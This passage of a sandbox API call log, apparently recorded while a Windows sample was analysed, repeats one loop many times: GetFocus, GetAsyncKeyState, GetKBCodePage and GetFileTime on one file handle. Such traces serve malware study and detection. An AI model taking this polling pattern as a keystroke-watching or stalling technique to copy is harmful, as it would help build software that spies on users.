lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.825] GetAsyncKeyState (vKey=58) returned 0 [0246.825] GetKBCodePage () returned 0x1b5 [0246.825] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.825] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.826] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.826] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.826] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.826] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.826] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.826] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.826] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.826] GetFocus () returned 0x0 [0246.826] GetAsyncKeyState (vKey=58) returned 0 [0246.826] GetKBCodePage () returned 0x1b5 [0246.826] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.827] GetFocus () returned 0x0 [0246.827] GetAsyncKeyState (vKey=58) returned 0 [0246.827] GetKBCodePage () returned 0x1b5 [0246.827] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.828] GetFocus () returned 0x0 [0246.828] GetAsyncKeyState (vKey=58) returned 0 [0246.828] GetKBCodePage () returned 0x1b5 [0246.828] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.829] GetFocus () returned 0x0 [0246.829] GetAsyncKeyState (vKey=58) returned 0 [0246.829] GetKBCodePage () returned 0x1b5 [0246.829] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 